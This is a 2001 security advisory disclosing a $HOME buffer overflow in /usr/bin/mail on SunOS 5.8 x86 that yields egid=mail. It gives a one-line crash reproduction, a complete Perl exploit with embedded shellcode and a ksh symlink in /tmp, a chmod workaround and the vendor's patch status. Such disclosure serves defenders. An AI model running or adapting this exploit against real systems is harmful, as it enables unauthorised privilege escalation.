guninski@guninski.com Georgi Guninski security advisory #46, 2001
   
   $HOME buffer overflow in SunOS 5.8 x86
   
   Systems affected:
   SunOS 5.8 x86 have not tested on other OSes
   
   Risk: Medium
   Date: 4 June 2001
   
   Legal Notice:
   This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You
   may not modify it and distribute it or distribute parts of it without the author's written
   permission.
   
   Disclaimer:
   The information in this advisory is believed to be true based on experiments though it may be
   false. The opinions expressed in this advisory and program are my own and not of any company.
   The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable
   for any damages caused by direct or  indirect use of the information or functionality
   provided by this advisory or program. Georgi Guninski bears no responsibility for content or
   misuse of this advisory or program or any derivatives thereof.
   
   Description:
   There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail leading to
   egid=mail.
   
   Details:
   HOME=`perl -e 'print "A"x1100'` ; export HOME
   mail a
   CTL-C
   
   eip gets smashed with 0x41414141.
   
   Exploit:
   
   #!/usr/bin/perl
   # /usr/bin/mail exploit by Georgi Guninski
   use Env qw($HOME);
   #shell code taken from Pablo Sor's mailx exploit
   $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
   $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
   $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
   $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
   $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
   $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
   $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
   $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
   $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
   $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
   $RET = "\xa0\x6f\x04\x08" ; #may need to change this
   $OVER=1032;
   $ALL=1200;
   $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
   system("/bin/ln -s /bin/ksh /tmp/xx");
   print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
   CTL-C\n";
   $ENV{HOME}=$buf;
   exec "/usr/bin/mail","A";
   
   Workaround:
   chmod -s /usr/bin/mail
   
   Vendor status:
   Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.